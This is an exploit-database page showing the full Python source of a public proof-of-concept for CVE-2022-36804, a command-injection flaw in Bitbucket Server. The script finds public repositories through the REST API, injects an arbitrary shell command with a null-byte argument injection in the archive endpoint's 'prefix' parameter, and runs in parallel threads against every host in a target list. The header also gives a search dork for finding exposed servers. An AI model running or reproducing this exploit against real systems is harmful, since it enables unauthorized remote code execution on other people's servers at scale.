Exploit database

GH-5d49ed37b0d48684b84c22da1f2d8c8b

sh4den/cve-2022-36804

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-36804

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
sh4den/cve-2022-36804Revision f16dd12c9793

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 3,849 bytes
# Exploit Title: Bitbucket RCE 2022
# Dork: title: "<title>Public Repositories - Bitbucket</title>"
# Date: 08/25/2022
# Exploit Author: sh4den
# Vendor Homepage: https://bitbucket.org/
# Software Link: [download link if available]
# Version: 7.6 prior to 7.6.17; 7.17 prior to 7.17.10; 7.21 prior to 7.21.4; 8.0 prior to 8.0.3; 8.1 prior to 8.1.3; 8.2 prior to 8.2.2; 8.3 prior to 8.3.1
# Tested on: Debian, Ubuntu, Windows
# CVE : CVE-2022-36804

import requests
import urllib3
import string
import sys
import colored
import time
from datetime import datetime
import random
import threading
from colored import stylize

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Main:
    def formatConsoleDate( date ):
        return '[' + date.strftime('%Y-%m-%d-%H:%M:%S') + ']'
        pass

    def randomString( size ):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
        pass

class Exploit:
    def __init__(self, host):
        self.host = host
        pass

    def run(self):
        global params
        randomFile = Main.randomString(5)
        try:
            httpResponse = requests.get(f'{self.host}/rest/api/latest/repos', verify=False).json()
            if 'size' not in httpResponse.keys():
                return False
                pass

            if httpResponse['size'] == 0:
                return False
                pass

            for repo in httpResponse['values']:
                if repo['project']['public'] == True:
                    httpResponse = requests.get(f'{self.host}/rest/api/latest/projects/{repo["project"]["key"]}/repos/{repo["slug"]}/archive?filename={randomFile}&at={randomFile}&path={randomFile}&prefix=ax%00--exec=%60{params["command"]}%60%00--remote=origin HTTP/1.1', verify=False)
                    if httpResponse.status_code == 500:
                        print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                            stylize(f" [success] Command executed on {self.host}", colored.fg('green')))
                        pass
                    else:
                        print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                            stylize(f" [error] {self.host} is not vulnerable", colored.fg('red')))
                        pass
                    return False
                    pass
                pass
                
            print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                stylize(f" [error] {self.host} is not vulnerable", colored.fg('red')))
        except:
            pass
        pass

def main():
    global params

    print(stylize('''
                 ╦ ╦╔═╗╦═╗╔═╗╔╗ 
                 ╠═╣║ ╦╠╦╝╠═╣╠╩╗
                 ╩ ╩╚═╝╩╚═╩ ╩╚═╝
            test first, analyze after
    ''', colored.fg('red')))

    if len(sys.argv) < 3:
        print(stylize("""
    [ERROR]""", colored.fg('red'),
                      colored.attr('underlined'))
              + """ bad command usage
            """ + stylize("Usage Sheme:", colored.fg('#ffe900'),
                          colored.attr('underlined')) + """
                - user@some_name:~# python3 main.py <vuln-list> <command>
        """)
        sys.exit()

    params = {}
    params['file'] = sys.argv[1]
    params['command'] = sys.argv[2]

    with open(params['file'], 'r') as file:
        for line in file:
            host = line.strip()
            exploit = Exploit(host)
            threading.Thread(target=exploit.run).start()
            pass
        pass
    pass

if __name__ == '__main__':
    main()